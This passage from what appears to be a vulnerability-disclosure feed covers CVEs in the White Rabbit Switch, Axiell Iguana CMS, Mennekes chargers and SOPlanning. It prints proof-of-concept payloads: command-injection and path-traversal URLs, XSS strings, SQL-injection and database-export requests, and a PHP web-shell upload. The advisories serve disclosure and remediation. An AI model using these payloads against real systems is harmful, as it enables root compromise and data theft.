No authentication or authorization check is performed before this file is read and returned. As a result, simply requesting the following URL discloses the full configuration file, including the root password hash and SNMP read/write community strings, to any unauthenticated visitor:

https://<URL>/showfile.php?help_id=c8&name=dotconfig

The returned configuration includes lines such as network configuration, hostname, and — most critically — the encrypted/hashed root password (CONFIG_ROOT_PWD_CYPHER) and SNMP community strings.

Suggested actions

Upgrade to White Rabbit Switch version 6.0.2 or later.

Unauthenticated OS command injection via showfile.php - CVE-2023-22581

CVE: CVE-2023-22581
Case: DIVD-2022-00068
Discovered by: Tom Wolters (Chapter8)
Credits: Reported to DIVD by Tom Wolters (Chapter8, tom@chapter8.com). Analysis by Victor Pasman (DIVD).
Products: White Rabbit Switch, all versions prior to 6.0.1 (most recent vulnerable release 7/7/21)
CVSS: 9.8 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Reference: Case DIVD-2022-00068, CVE-2023-22581
Solution: Upgrade to White Rabbit Switch version 6.0.2, which contains a fix for this vulnerability.

White Rabbit Switch contains a vulnerability which makes it possible for an attacker to perform system commands under the context of the web application. In the default installation, the webserver runs as the root user, so this results in unauthenticated remote code execution as root.

The same wrs_display_help() function in functions.php contains a second branch, triggered when help_id is set to file, which passes the unfiltered name parameter directly into a shell_exec() call:

else if (!strcmp($help_id, "file")){
    $msg = shell_exec("cat ".$GLOBALS['etcdir'].$name);
    $msg = explode("\n", $msg);
    for($i=0; $i<count($msg); $i++){
        $message .= $i.":  ".$msg[$i]."<br>";
    }
}

Because $name is concatenated directly into the shell command without any sanitization, an attacker can inject arbitrary shell metacharacters. Any command placed between a semicolon (;) and an ampersand (&) in the name parameter will be executed by the underlying system:

https://<URL>/showfile.php?name=txt;whoami&help_id=file

In testing, this returned root as the result of the injected whoami command, confirming the web application (and therefore any injected command) runs with root privileges. This could be leveraged, for example, to change the root password and obtain SSH access to the device.

Suggested actions

Upgrade to White Rabbit Switch version 6.0.2 or later.

Timeline

2022-11-16: Two vulnerabilities (RCE and information disclosure) reported by Tom Wolters; DIVD starts evaluation and reporting process.
2022-11-16: First contact between CERN and DIVD.
2022-11-16 to 2022-12-09: Time to acknowledge.
2022-12-09: Vendor acknowledges receipt of vulnerabilities.
2023-04-11: CERN releases White Rabbit Switch 6.0.2, containing fixes for both CVE-2023-22577 and CVE-2023-22581.
2023-04-11: Limited disclosure of the White Rabbit Switch vulnerabilities.
2023-05-31: Case closed.
2026-07-16: Full Disclosure.

More information

Axiell Iguana CMS full disclosure

Fri, 17 Jul 2026 00:00:00 +0200

DIVD received a vulnerability report from external researcher Amr Al Hallak about multiple injection vulnerabilities in the Axiell Iguana CMS, a content management system used by libraries. The vulnerabilities range from reflected cross-site scripting to a critical local file inclusion and can be leveraged to compromise a website running the affected software.

DIVD is a CVE Numbering Authority (CNA) and has used these rights to assign the following CVEs to the vulnerabilities included in the write-up below:

All four vulnerabilities were reported to the vendor and fixed in Iguana 4.5.02, released on 2022-11-03. The case (DIVD-2022-00064) has since been closed. The rest of this post contains the full technical write-up of each vulnerability.

Reflected XSS via the `url` parameter on `novelist.php` - CVE-2022-45049

CVE: CVE-2022-45049
Case: DIVD-2022-00064
Discovered by: Amr Al Hallak
Credits: Reported to DIVD by researcher Amr Al Hallak.
Products: Axiell Iguana CMS (Windows, Linux)
Affected versions: All versions prior to 4.5.02
CVSS: 6.1 (MEDIUM) — CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CWE: CWE-79 Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
Reference: Case DIVD-2022-00064, CVE-2022-45049
Solution: Upgrade to Iguana 4.5.02 or higher.

A reflected XSS vulnerability was found in Axiell Iguana CMS. The url parameter on the novelist.php endpoint does not properly neutralise user input before it is reflected back into the page, allowing an attacker to execute arbitrary JavaScript in a victim’s browser in the context of the vulnerable site.

Proof of concept as reported against the researcher’s test host:

https://<host>/iguana/php/novelist.php?url=%3Cscript%3Ealert(1)%3C/script%3E

The decoded payload is <script>alert(1)</script>, a benign marker used only to demonstrate script execution.

Suggested actions

Upgrade to the latest version of Iguana CMS.

Reflected XSS via the `title` parameter on `twitter.php` - CVE-2022-45050

CVE: CVE-2022-45050
Case: DIVD-2022-00064
Discovered by: Amr Al Hallak
Credits: Reported to DIVD by researcher Amr Al Hallak.
Products: Axiell Iguana CMS (Windows, Linux)
Affected versions: All versions prior to 4.5.02
CVSS: 6.1 (MEDIUM) — CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CWE: CWE-79 Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
Reference: Case DIVD-2022-00064, CVE-2022-45050
Solution: Upgrade to Iguana 4.5.02 or higher.

A reflected XSS vulnerability was found in Axiell Iguana CMS. The title parameter on the twitter.php endpoint does not properly neutralise user input, resulting in arbitrary JavaScript execution in a victim’s browser.

Proof of concept as reported against the researcher’s test host:

https://<host>/iguana/php/twitter.php?title=%3Cscript%3Ealert(1)%3C/script%3E

Suggested actions

Upgrade to the latest version of Iguana CMS.

Reflected POST XSS via the `module` parameter on `Service.Template.cls` - CVE-2022-45051

CVE: CVE-2022-45051
Case: DIVD-2022-00064
Discovered by: Amr Al Hallak
Credits: Reported to DIVD by researcher Amr Al Hallak.
Products: Axiell Iguana CMS (Windows, Linux)
Affected versions: All versions prior to 4.5.02
CVSS: 6.1 (MEDIUM) — CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CWE: CWE-79 Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
Reference: Case DIVD-2022-00064, CVE-2022-45051
Solution: Upgrade to Iguana 4.5.02 or higher.

A reflected XSS vulnerability was found in Axiell Iguana CMS that is triggered through a POST request. The module parameter on the Service.Template.cls endpoint does not properly neutralise user input, resulting in arbitrary JavaScript execution in a victim’s browser.

Because the injection point is in a POST parameter, exploitation requires the victim to submit a request carrying the malicious module value — for example via an attacker-hosted page containing an auto-submitting form that targets the vulnerable endpoint. The researcher demonstrated this with a self-hosted proof-of-concept HTML page.

Suggested actions

Upgrade to the latest version of Iguana CMS.

Local File Inclusion via the `url` parameter on the image proxy endpoint - CVE-2022-45052

CVE: CVE-2022-45052
Case: DIVD-2022-00064
Discovered by: Amr Al Hallak
Credits: Reported to DIVD by researcher Amr Al Hallak.
Products: Axiell Iguana CMS (Windows, Linux)
Affected versions: All versions prior to 4.5.02
CVSS: 9.8 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-552 Files or Directories Accessible to External Parties
Reference: Case DIVD-2022-00064, CVE-2022-45052
Solution: Upgrade to Iguana 4.5.02 or higher.

A Local File Inclusion vulnerability was found in Axiell Iguana CMS. Due to insufficient neutralisation of user input on the url parameter of the image proxy endpoint (imageProxy.type.php), an unauthenticated external attacker can traverse the file system and read files on the server. As this requires no privileges and no user interaction while exposing confidentiality, integrity and availability, it carries a critical CVSS score.

Proof of concept as reported against the researcher’s test host (path-traversal to a Windows system file):

https://<host>/iguana/php/imageProxy.type.php?url=../../../../../../../../../../../../../../windows/win.ini

Suggested actions

Upgrade to the latest version of Iguana CMS.

Timeline

Date	Event
2022-09-08	First four vulnerabilities (reflected XSS, POST XSS, LFI) reported to DIVD; evaluation and reporting process starts.
2022-11-03	First contact between Axiell and DIVD. Axiell releases Iguana 4.5.02, fixing CVE-2022-45049, CVE-2022-45050, CVE-2022-45051 and CVE-2022-45052.
2022-11-17	Researcher and DIVD confirm the four vulnerabilities are remediated by the patch.
2022-11-21	Researcher reports two additional vulnerabilities (SSRF and reflected XSS); DIVD contacts Axiell.
2023-01-03	Limited disclosure for the four CVEs.
2024-07-22	Case closed.

Summary

Multiple injection vulnerabilities were identified in Axiell Iguana CMS. Leveraging these vulnerabilities could allow an attacker to compromise a website running the affected software. All affected users should upgrade to Iguana 4.5.02 or higher.

Case update: DIVD-2026-00010 - Improper Access Control in Hashtopolis Server

16 Jul 2026 02:00:00 +0200

Last event: 16 Jul 2026 - CVE-2026-22093 published. DIVD publishes casefile.

Case update: DIVD-2024-00024 - Multiple vulnerabilities found in the SOPlanning tool

16 Jul 2026 02:00:00 +0200

Last event: 16 Jul 2026 - Full disclosure published.

Mennekes Smart - charging stations full disclosure

Thu, 16 Jul 2026 00:00:00 +0200

DIVD received a vulnerability report about the firmware of Mennekes Smart charging stations. The vulnerabilities were discovered by Wilco van Beijnum and analysed together with DIVD researchers Harm van den Brink and Frank Breedijk.

During an investigation of the Mennekes charging station, several vulnerabilities were found that allow an authenticated attacker to execute arbitrary OS commands on the charging station (as root), read arbitrary files from the filesystem, and manipulate the SQLite databases used by the device. Under the upcoming NIS2 regulations, charging infrastructure is considered critical infrastructure, which underlines the importance of these findings.

DIVD is a CVE Numbering Authority (CNA) and has used these rights to assign the following CVEs to the vulnerabilities included in the write-up below:

All five vulnerabilities affect Mennekes Smart charging stations running firmware prior to version 2.15 and are resolved in firmware 2.15 The rest of this post contains the full technical write-up of each vulnerability.

Command injection in firmware upgrade via URL - CVE-2025-22366

CVE: CVE-2025-22366
Case: DIVD-2025-00003
Discovered by: Wilco van Beijnum
Credits: Reported to DIVD and discovered by Wilco van Beijnum. Analysed by DIVD researchers Harm van den Brink and Frank Breedijk.
Products: Mennekes Smart - charging stations, firmware versions < 2.15
CVSS: 8.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:N/SA:N/S:N/AU:Y
CWE: CWE-78 (OS Command Injection), CWE-250 (Execution with Unnecessary Privileges)
Reference: Case DIVD-2025-00003, CVE-2025-22366
Solution: Upgrade to firmware 2.15 or later. Apply input filtering/escaping and pass user input to new processes safely (e.g. in Python, subprocess.run with a list of arguments and shell=False). The web server should not run as the root user.

The “firmware upgrade via URL” field in the configuration web interface does not properly neutralise OS command characters before the value is passed to the underlying operating system. An authenticated attacker can abuse this field to execute arbitrary commands as root. The vulnerable functionality is reached via http://<ip-address>/, then Setup → ACU Update (via File-Upload) → URL. The URL field is vulnerable to command injection, for example using the following payload:

http://127.0.0.1/; <command>; abc

Risk Impact: Critical — the attacker gains full control over the charging station as the root user and can arbitrarily add, modify and delete files and services.

Suggested actions

Upgrade to firmware 2.15 or later. Use input filtering and escaping to prevent command injection, avoid passing user-controlled input to a shell, and do not run the web server as root.

Command injection in manually setting the time - CVE-2025-22367

CVE: CVE-2025-22367
Case: DIVD-2025-00003
Discovered by: Wilco van Beijnum
Credits: Reported to DIVD and discovered by Wilco van Beijnum. Analysed by DIVD researchers Harm van den Brink and Frank Breedijk.
Products: Mennekes Smart / Premium charging stations, firmware versions < 2.15
CVSS: 8.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:N/SA:N/S:N/AU:Y
CWE: CWE-78 (OS Command Injection), CWE-250 (Execution with Unnecessary Privileges)
Reference: Case DIVD-2025-00003, CVE-2025-22367
Solution: Upgrade to firmware 2.15 or later. Apply input filtering/escaping and pass user input to new processes safely (e.g. in Python, subprocess.run with a list of arguments and shell=False). The web server should not run as the root user.

The request used to manually set the time of the charging station does not properly neutralise OS command characters, allowing an authenticated attacker to obtain remote code execution through command injection. Manually changing the time sends a POST request to http://<ip-address>/admin/admin_netzwerk. The request can be manipulated with the following payload (basic authentication credentials must also be supplied):

timesource=manually&time_toggle=&from_year=<year>&from_month=<month>&from_day=<day>&from_hour=<hour>&from_minute=<minute>'%3b+<URL-encoded-command>%3b+echo+-n+'&time_button=

Risk Impact: Critical — the attacker gains full control over the charging station as the root user and can arbitrarily add, modify and delete files and services.

Suggested actions Upgrade to firmware 2.15 or later. Use input filtering and escaping to prevent command injection, avoid passing user-controlled input to a shell, and do not run the web server as root.

Command injection in SCU firmware update - CVE-2025-22368

CVE: CVE-2025-22368
Case: DIVD-2025-00003
Discovered by: Wilco van Beijnum
Credits: Reported to DIVD and discovered by Wilco van Beijnum. Analysed by DIVD researchers Harm van den Brink and Frank Breedijk.
Products: Mennekes Smart / Premium charging stations, firmware versions < 2.15
CVSS: 8.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:N/SA:N/S:N/AU:Y
CWE: CWE-78 (OS Command Injection), CWE-250 (Execution with Unnecessary Privileges)
Reference: Case DIVD-2025-00003, CVE-2025-22368
Solution: Upgrade to firmware 2.15 or later. Apply input filtering/escaping and pass user input to new processes safely (e.g. in Python, subprocess.run with a list of arguments and shell=False). The web server should not run as the root user.

The authenticated SCU firmware update command does not properly neutralise OS command characters, allowing an attacker to inject OS commands and gain remote code execution. OS commands can be injected by sending a POST request to http://<ip-address>/admin/admin_scu_do_fw_update. The request can be manipulated with the following payload (basic authentication credentials must also be supplied):

scu_id=1&typ=remote&target=abc%3b+<URL-encoded-command>%3b+abcd

Risk Impact: Critical — the attacker gains full control over the charging station as the root user and can arbitrarily add, modify and delete files and services.

Suggested actions

Upgrade to firmware 2.15 or later. Use input filtering and escaping to prevent command injection, avoid passing user-controlled input to a shell, and do not run the web server as root.

Arbitrary file download using ReadFile endpoint - CVE-2025-22369

CVE: CVE-2025-22369
Case: DIVD-2025-00003
Discovered by: Wilco van Beijnum
Credits: Reported to DIVD and discovered by Wilco van Beijnum. Analysed by DIVD researchers Harm van den Brink and Frank Breedijk.
Products: Mennekes Smart / Premium charging stations, firmware versions < 2.15
CVSS: 7.1 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/S:N/AU:Y
CWE: CWE-552 (Files or Directories Accessible to External Parties)
Reference: Case DIVD-2025-00003, CVE-2025-22369
Solution: Upgrade to firmware 2.15 or later. Restrict the endpoint so that (low-privilege) users cannot download arbitrary files from the filesystem.

The /admin/admin_ReadFile endpoint can be abused to read arbitrary files from the underlying operating system. An authenticated attacker can retrieve any file the web service can access. Arbitrary files can be downloaded by sending a POST request to /admin/admin_ReadFile with the following body (basic authentication credentials must also be supplied):

filename=<path-to-file>

Risk Impact: High — the endpoint can download any file on the filesystem, including sensitive files such as /etc/shadow, as well as the scripts and binaries running on the charging station.

Suggested actions

Upgrade to firmware 2.15 or later. It should not be possible for (low-privilege) users to download arbitrary files.

SQL injection in web configuration interface fields - CVE-2025-22370

CVE: CVE-2025-22370
Case: DIVD-2025-00003
Discovered by: Wilco van Beijnum
Credits: Reported to DIVD and discovered by Wilco van Beijnum. Analysed by DIVD researchers Harm van den Brink and Frank Breedijk.
Products: Mennekes Smart / Premium charging stations, firmware versions < 2.15
CVSS: 5.3 (MEDIUM) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/S:N/AU:Y
CWE: CWE-89 (SQL Injection)
Reference: Case DIVD-2025-00003, CVE-2025-22370
Solution: Upgrade to firmware 2.15 or later. Use prepared statements / parameterised queries and input filtering (e.g. in Python, use ? placeholders in cursor.execute and pass values as the second argument).

Several fields in the web configuration interface insufficiently neutralise input, allowing an authenticated attacker to execute arbitrary SQL commands against the SQLite databases used by the interface. As an example, the “add user to whitelist” function is vulnerable. Entering an alias of '||SQLITE_VERSION()||' (the maxlength attribute on the alias field can be removed via the browser developer tools to fit the query) demonstrates the flaw: if injection is present, || is interpreted as string concatenation and the stored alias becomes the SQLite version used by the server. On the tested device this returned version 3.7.3, confirming the input was interpreted rather than stored literally. A code review of the interface’s Python scripts — obtained via the command-injection vulnerabilities described above — revealed many further injection points. These can be located by searching PersistentStorage_Manager.py for the regular expression cursor.*\(.*%s, which matches database queries built with string formatting.

Risk Impact: Moderate — the attacker can read and manipulate the SQLite databases used by the web interface. The impact is limited because the injection points only allow manipulation of the existing statement rather than execution of multiple/arbitrary statements. It may still be possible to retrieve sensitive information, bypass field filtering, and manipulate or break the functioning of the web configuration interface.

Suggested actions

Upgrade to firmware 2.15 or later. Use prepared statements and input filtering to prevent SQL injection.

References

Mennekes firmware 2.15 release notes: Release_Notes_for_2.15_06.03.2025.pdf
DIVD case: DIVD-2025-00003
CVE-2025-22366
CVE-2025-22367
CVE-2025-22368
CVE-2025-22369
CVE-2025-22370

SOPlanning Online Planning tool full disclosure

Thu, 16 Jul 2026 00:00:00 +0200

DIVD researchers discovered multiple vulnerabilities in the SOPlanning Online Planning tool (versions < 1.52.02). The vulnerabilities were found by researchers Wietse Boonstra and Hidde Smit, with Max van der Horst as case lead.

DIVD is a CVE Numbering Authority (CNA) and has used these rights to assign the following CVEs to the vulnerabilities described in this case:

The rest of this post contains the full technical write-up of the vulnerabilities.

Precondition — public view. The non-default public view setting (CONFIG_SOPLANNING_OPTION_ACCES set to 1 or 2) is the shared precondition for all four issues below. When public view is enabled, a public=1 request grants a session as the over-privileged publicspl user without authenticating (detailed in the IDOR section below), which turns the SQL injection, the database export and the two Remote Code Execution issues into effectively unauthenticated attacks.

Unauthenticated SQL injection - CVE-2024-27112

CVE: CVE-2024-27112
Case: DIVD-2024-00024
Discovered by: Wietse Boonstra and Hidde Smit
Credits: Discovered by DIVD researchers Wietse Boonstra and Hidde Smit. Case lead: Max van der Horst.
Products: SOPlanning Online Planning tool (versions < 1.52.02)
CVSS: To be confirmed against the official CVE record.
Reference: Case DIVD-2024-00024, CVE-2024-27112
Solution: Use parameterized queries / prepared statements for all user-controllable filter parameters. Update to SOPlanning 1.52.02 or later.

The planning view (taches.php) accepts filter parameters that are passed unsanitized into a SQL query. The filter request is handled server-side through the AJAX backend (process/xajax_server.php). Both the gp[] (group/project filter) and statut[] (status filter) parameters are injectable.

As with the other issues, this is reachable without real credentials when public view is enabled: the public=1 parameter yields a publicspl session, and the affected filter functionality must be active. Appending a single quote to gp[] breaks out of the query, demonstrating the injection:

POST /soplanning/www/taches.php?public=1 HTTP/1.1
Host: 192.168.1.184:82
Content-Length: 42
Method: POST ./process/xajax_server.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://192.168.1.184:82
Referer: http://192.168.1.184:82/soplanning/www/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: dateDebut=29/05/2024; dateFin=29/07/2024; xposMoisWin=0; xposJoursWin=0; yposMoisWin=0; yposJoursWin=0; baseLigne=users; baseColonne=jours; afficherTableauRecap=1; masquerLigneVide=0; SMARTY_DEBUG=1;soplanningplanning_=9lftp5l5pdlvbu4idqqjim3qcu
Connection: keep-alive

filtreGroupeProjet=1&gp[]=SQLI'&statut[]=1

Both gp[] (shown here with the SQLI' test payload) and statut[] are injection points. An attacker can misuse this to read arbitrary information from the underlying database.

Suggested actions

Replace string-concatenated queries with parameterized queries / prepared statements for every user-controllable filter, including gp[] and statut[]. Update to SOPlanning 1.52.02 or later.

Unauthenticated database export via Insecure Direct Object Reference (IDOR) - CVE-2024-27113

CVE: CVE-2024-27113
Case: DIVD-2024-00024
Discovered by: Wietse Boonstra and Hidde Smit
Credits: Discovered by DIVD researchers Wietse Boonstra and Hidde Smit. Case lead: Max van der Horst.
Products: SOPlanning Online Planning tool (versions < 1.52.02)
CVSS: To be confirmed against the official CVE record.
Reference: Case DIVD-2024-00024, CVE-2024-27113
Solution: Enforce server-side authorization on the backup/export functionality and restrict the publicspl account to genuinely read-only access, independent of the public view mode. Update to SOPlanning 1.52.02 or later.

When the non-default public view is enabled and a request contains public=1, the application creates a session for the built-in publicspl user without any authentication. The relevant logic is in header.inc:

// Check Public access
if (isset($_GET['public']) && (CONFIG_SOPLANNING_OPTION_ACCES == 1 || CONFIG_SOPLANNING_OPTION_ACCES == 2)) {
    $_SESSION['public']=1;
    $_SESSION['user_id']='publicspl';

The publicspl account is expected to be read-only, but in practice it retains extended rights. As a result, an unauthenticated attacker can reach the database backup/export functionality that should be protected. This over-privileged public session is also the shared precondition that turns the two file-upload Remote Code Execution issues below into unauthenticated attacks.

The following request abuses backup.php to export the database to CSV. Authentication is bypassed purely through the public=1 query parameter — note that no session cookie is supplied — and the selected tables (users, configuration, projects, tasks, places, resources) are dumped:

POST /soplanning/www/process/backup.php?public=1 HTTP/1.1
Host: 192.168.1.184:82
Content-Length: 136
Content-Type: application/x-www-form-urlencoded

export_nom_sauvegarde=users_Wb&export_users=1&export_configuration=1&export_projets=1&export_taches=1&export_lieux=1&export_ressources=1

Because the export runs under the over-privileged publicspl session, an unauthenticated attacker obtains the contents of the underlying database, including user data.

Suggested actions

Enforce server-side authorization on the backup/export endpoint so it cannot be invoked from a public/read-only session. Ensure the publicspl account cannot perform state-changing or data-exfiltrating actions, and apply authorization checks per action independent of whether public view is active. Update to SOPlanning 1.52.02 or later.

Unauthenticated Remote Code Execution via unrestricted file upload - CVE-2024-27115

CVE: CVE-2024-27115
Case: DIVD-2024-00024
Discovered by: Wietse Boonstra and Hidde Smit
Credits: Discovered by DIVD researchers Wietse Boonstra and Hidde Smit.
Case lead: Max van der Horst.
Products: SOPlanning Online Planning tool (versions < 1.52.02)
CVSS: 10.0 (CRITICAL) — vector to be confirmed against the official CVE record.
Reference: Case DIVD-2024-00024, CVE-2024-27115
Solution: Validate uploaded files server-side against an allowlist of permitted types, store uploads outside the web root, disable script execution in the upload directory, and never honour an uploaded .htaccess. Update to SOPlanning 1.52.02 or later.

The upload endpoint (process/upload.php) does not restrict the type or extension of uploaded files. Because the uploaded file is written into a web-accessible directory (www/upload/files/<linkid>/) under its original filename, an attacker who has a session (obtainable unauthenticated via the public view issue above) can upload a PHP web shell together with a crafted .htaccess to make it executable and then request it from the browser.

The vulnerable operation is the move into the web root without any type validation:

move_uploaded_file($tmp_dir, $upload_dir.$filename);

The following request uploads both a .htaccess (to reset the content handling so the PHP file is served/executed) and a cmd.php payload into www/upload/files/2/, after which cmd.php can be reached directly from the browser:

POST /soplanning/www/process/upload.php HTTP/1.1
Host: 192.168.1.184:82
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Cookie: soplanningplanning_=0c8e9efkm1i17ttc8pq8ni7ivh
Content-Length: 783
Content-Type: multipart/form-data; boundary=e38d5deef1f6a59f1fc2486d2fe81f9c
--e38d5deef1f6a59f1fc2486d2fe81f9c
Content-Disposition: form-data; name="type"
upload
--e38d5deef1f6a59f1fc2486d2fe81f9c
Content-Disposition: form-data; name="linkid"
2
--e38d5deef1f6a59f1fc2486d2fe81f9c
Content-Disposition: form-data; name="type_restauration"
sauvegarde
--e38d5deef1f6a59f1fc2486d2fe81f9c
Content-Disposition: form-data; name="fichier-0"; filename=".htaccess"
Content-Type: application/zip
<Files *.*>
    # Unset the ForceType directive
    RemoveType *
    # Reset Content-Disposition header
    Header unset Content-Disposition
</Files>
--e38d5deef1f6a59f1fc2486d2fe81f9c
Content-Disposition: form-data; name="fichier-1"; filename="cmd.php"
Content-Type: application/zip
<?php phpinfo();?>
--e38d5deef1f6a59f1fc2486d2fe81f9c--

Requesting the uploaded cmd.php executes the PHP payload on the server (here phpinfo(), but any code can be placed instead), resulting in Remote Code Execution.

Suggested actions

Enforce a server-side allowlist of permitted file types and reject dangerous extensions (including .php, .phtml, and .htaccess). Store uploads outside the web root or in a directory where script execution is disabled, and generate server-controlled filenames. Update to SOPlanning 1.52.02 or later.

Unauthenticated Remote Code Execution via TOCTOU race condition in file upload - CVE-2024-27114

CVE: CVE-2024-27114
Case: DIVD-2024-00024
Discovered by: Wietse Boonstra and Hidde Smit
Credits: Discovered by DIVD researchers Wietse Boonstra and Hidde Smit. Case lead: Max van der Horst.
Products: SOPlanning Online Planning tool (versions < 1.52.02)
CVSS: 10.0 (CRITICAL) — vector to be confirmed against the official CVE record.
Reference: Case DIVD-2024-00024, CVE-2024-27114
Solution: Validate the uploaded file before it is placed in any web-accessible location; do not use a move-then-delete pattern. Move the file to a non-executable temporary location, validate it there, and only then expose it. Update to SOPlanning 1.52.02 or later.

The same upload handling contains a Time-of-check Time-of-use (TOCTOU) race condition. The uploaded file is moved into the destination directory before the requirements are (fully) verified, and is only removed afterwards with @unlink(). This leaves a window in which the file physically exists in the web-accessible directory and can be triggered by the attacker before it is deleted, again leading to code execution.

The upload directory is web-accessible. It is defined in config.inc:

define('UPLOAD_DIR', BASE . '/../www/upload/files/'); // upload file directory, must have read/write access

The code flow is as follows:

The uploaded file is first stored in $tmp_dir — PHP’s default temporary upload location (the specific path is irrelevant to the exploit).
move_uploaded_file($tmp_dir, $upload_dir.$filename) moves the file straight from $tmp_dir into the web-accessible $upload_dir under its original filename — before any validation of the file’s contents or type.
Only after the move does the code run its checks, verifying whether the uploaded files are ZIP or CSV files intended for a database restore.
Finally the code removes the file again with @unlink($upload_dir.$filename).

Because step 2 places the file in the public directory before the checks in step 3 and the cleanup in step 4, an attacker who uploads a .php file and simultaneously requests it has a chance to execute it during the window in which it exists on disk. This is the race that constitutes the RCE.

Note (unverified observation): The post-move checks accept ZIP files for use in a database restore. Handling attacker-controlled archives this way may expose a Zip Slip (path traversal on extraction) issue. This was not verified and is noted here only as a follow-up item to investigate; it should not be presented as a confirmed finding without validation.

The relevant flow in the upload code:

$type=$_POST['type'];
$type_restauration=$_POST['type_restauration'];
$type_fichier_import_seul=$_POST['type_fichier_import'];
$upload_dir = SAVE_DIR; // upload directory
// Si on fait un upload de fichiers
if ($type=='upload')
{
// Pour tous les fichiers, on tente de les uploader
	for($i=0; $i<count($_FILES); $i++){
	  $filename = replaceAccents(utf8_decode($_FILES["fichier-$i"]['name']));
	  $tmp_dir = $_FILES["fichier-$i"]['tmp_name'];
	  $fileSize = $_FILES["fichier-$i"]['size'];

      $dest_dir=$upload_dir.$filename.".tmp";

// SNIP

  if(!file_exists(SAVE_DIR) || !is__writable(SAVE_DIR)) {
		//SNIP ERROR MESSAGE
		exit;
	}else
	{

	    //SNIP SOME CHECKS

		// Chargement du fichier
		if(!(move_uploaded_file($tmp_dir,$upload_dir.$filename)))
		{

// SNIP rest of code cause not important for exploiting it. Except the @unlink()

				// Suppression des fichiers
				@unlink($upload_dir.$filename);
				//@rrmdir($dest_dir);

Because the file is written to the web-accessible upload directory before validation and only cleaned up with @unlink() afterwards, an attacker can race the deletion and request the uploaded payload during the window in which it exists, achieving Remote Code Execution. The same upload request shown for CVE-2024-27115 can be used to place the payload; the difference is the exploited weakness (the move-before-check / delete-after race rather than the absence of type validation).

Suggested actions

Do not move uploaded files into a web-accessible location before validation. Validate content in a temporary, non-executable directory and only publish the file after all checks pass. Avoid move-then-unlink() cleanup patterns that leave a race window. Update to SOPlanning 1.52.02 or later.

More information

Case update: DIVD-2026-00007 - Victim Notification Operation Endgame - S03E03 & S03E04

25 Jun 2026 02:00:00 +0200

Last event: 25 Jun 2026 - DIVD starts notifying and sharing victim information with certs, csirts and security teams in regard to StealC

Case update: DIVD-2026-00001 - DIVD-2026-00001 – EVbee Service App and DC Quick Charging Station

10 Jul 2026 02:00:00 +0200

Last event: 10 Jul 2026 - Publication of initial batch of vulnerabilities.

StealC data available from Operation Endgame S03E04

Thu, 25 Jun 2026 00:00:00 +0200

As part of Operation Endgame S03E03 - S03E04 law enforcement has seized victim data from StealC command and control servers.

We have received the first datasets from the Dutch Police containing credentions of over 27M credentials.

We encourage certs, csirts and security teams to look at the extracts we made from this information and request information about domains in their constituency. See the our instructions for organisation regarding case DIVD-2026-00007 for more information and how you can check if your organisation/constituency has been affected.

DIVD CSIRT

Sungrow web portal full disclosure

MQTT endpoint and credentials used by the web portal can be used to obtain data of other Sungrow inverters (and potentially manipulate them) - CVE-2025-29756

Case closed: DIVD-2026-00005 - Salesforce Experience Cloud – Data Exposure via Misconfiguration

Case closed: DIVD-2026-00003 - Mendix Applications – Data Exposure due to Authorization Misconfiguration

Case closed: DIVD-2026-00002 - DIVD-2026-00002 – Ivanti Endpoint Manager Mobile Vulnerabilities

Case closed: DIVD-2025-00041 - Victim Notification Operation Endgame S03E01

Case closed: DIVD-2025-00018 - Victim Notification Operation Endgame 2.0

Case closed: DIVD-2024-00019 - Victim Notification Operation Endgame

Case closed: DIVD-2024-00011 - Six vulnerabilities in Enphase IQ Gateway devices

CyberAuditWeb and videx-legacy-ssl full disclosure

Vulnerability 1: Authentication bypass via missing return statement — CyberAuditWeb (fixed in 9.8.11)

Vulnerability 2: Server-Side Request Forgery in videx-legacy-ssl (tested up to version 1.1.3)

More information

Visioweb.js

Client-side prototype pollution leading to DOM-XSS - CVE-2022-3901

Technical write-up

Timeline

More information

Cloudflow

Unauthenticated Local File Inclusion - CVE-2022-41216

Description

Risk

Proof of Concept

Unauthenticated File Upload - CVE-2022-41217

Description

Risk

Proof of Concept

Timeline

More information

Six vulnerabilities in Enphase IQ Gateway devices

Unauthenticated path traversal via URL parameter - CVE-2024-21876

Authenticated insecure cache file generation based on user input - CVE-2024-21877

Unpatched command injection via unsafe file name evaluation in /etc/profile - CVE-2024-21878

Authenticated command injection via unvalidated wireless configuration input - CVE-2024-21879

Authenticated command injection via network configuration - CVE-2024-21880

Authenticated command execution via malicious encrypted package upload - CVE-2024-21881

Timeline

More information

Case closed: DIVD-2025-00003 - Multiple vulnerabilities in Mennekes Smart / Premium Charging stations

White Rabbit Switch full disclosure

Unauthenticated password disclosure via configuration file read - CVE-2023-22577

Unauthenticated OS command injection via showfile.php - CVE-2023-22581

Timeline

More information

Axiell Iguana CMS full disclosure

Reflected XSS via the url parameter on novelist.php - CVE-2022-45049

Reflected XSS via the title parameter on twitter.php - CVE-2022-45050

